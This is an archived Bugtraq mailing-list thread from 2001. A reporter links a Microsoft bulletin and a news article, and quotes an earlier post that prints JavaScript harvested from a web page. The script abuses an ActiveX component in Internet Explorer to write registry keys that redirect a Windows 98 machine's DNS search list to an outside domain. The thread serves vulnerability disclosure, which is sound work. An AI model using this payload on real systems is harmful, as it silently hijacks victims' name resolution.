Bugtraq mailing list archives
RE: javascript can write anything to windows98 registry
From: Rob Lemos <rlemos () zdnet com>
Date: Wed, 29 Aug 2001 08:33:21 -0700
This is the basis for the Trojan.Offensive worm. The problem was originally discovered almost a year ago and was patched last November. Here's the Microsoft link: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS00-075.asp And my article: http://news.cnet.com/news/0-1003-200-6961705.html -R Robert Lemos Senior writer -- Security, Privacy and e-Crime ZDNet News/CNet News.com PGP key: 0x6E1966EB
-----Original Message----- From: "Marcin Jackowski" <marcin () jackowski net>@INTERNET@INTERLIANT@ZDNET Sent: Tuesday, August 28, 2001 8:21 AM To: bugtraq () securityfocus com@INTERNET@INTERLIANT@ZDNET Subject: javascript can write anything to windows98 registry<<...OLE_Obj...>>here's code from www.4y4y.net:88/ls.html it can write any value to windows98 registry solution: disable JavaScript in InternetExplorer tested on IE5.5 Marcin Jackowski --------------------------------------------------------------- <script> document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); function yuzi3(){ try{ a1=document.applets[0]; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance();Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); try{ Shl.RegWrite("HKLM\\System\\CurrentControlSet\\Services\\VxD\\MSTCP\\SearchList","roots-se rvers.net"); } catch(e){} } catch(e){} } setTimeout("yuzi3()",1000); document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); function yuzi2(){ try{ a2=document.applets[0];a2.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a2.createInstance();Shl = a2.GetObject();a2.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); try{ Shl.RegWrite("HKLM\\System\\CurrentControlSet\\Services\\VxD\\MSTCP\\EnableDns","1"); } catch(e){} } catch(e){} }setTimeout("yuzi2()",1000); </script><<...OLE_Obj...>> << File: smime.p7s >>
Current thread:
- javascript can write anything to windows98 registry Marcin Jackowski (Aug 28)
- <Possible follow-ups>
- RE: javascript can write anything to windows98 registry Rob Lemos (Aug 29)